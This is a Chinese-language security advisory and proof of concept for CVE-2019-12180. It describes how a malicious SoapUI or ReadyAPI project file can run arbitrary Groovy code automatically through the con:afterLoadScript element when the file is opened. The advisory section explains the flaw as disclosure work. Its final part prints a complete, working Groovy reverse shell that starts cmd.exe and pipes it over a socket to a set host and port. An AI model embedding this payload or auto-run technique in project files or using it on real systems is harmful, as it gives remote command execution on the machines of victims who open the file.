
CVE-2019-12180 的安全公告与概念验证,演示了通过恶意项目文件在 SoapUI 和 ReadyAPI 中执行任意 Groovy 代码。
安全公告与概念验证
SoapUI 和 ReadyAPI 允许您使用 Apache Groovy 语言脚本为测试用例创建或添加动态内容(例如,在运行时计算时间戳)。这些脚本的执行可以通过多种方式触发,并且在保存项目后,它们会存储在 XML“项目文件”中。
“加载脚本”功能允许创建一个 Groovy 脚本,该脚本在打开项目文件时(XML 项目文件的 con:afterLoadScript 元素)自动启动,无需任何额外的用户交互。攻击者可以利用此行为创建恶意项目文件,一旦打开,即可在受害者系统上执行任意 Groovy 代码。由于可以使用 Groovy 语言执行系统命令,因此该功能可被滥用来有效执行远程命令。
注意:通过利用任何其他支持 Groovy 脚本的功能(例如“保存脚本”)也能达到相同目的,但这需要在加载项目文件后进行额外的用户交互。
受影响的应用:
截至撰写本文时(2020-02-04),这是一个 0day 漏洞,因为(多次)提出的披露日期已过,供应商尚未发布补丁。
Groovy 反弹 Shell 示例(https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76):
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();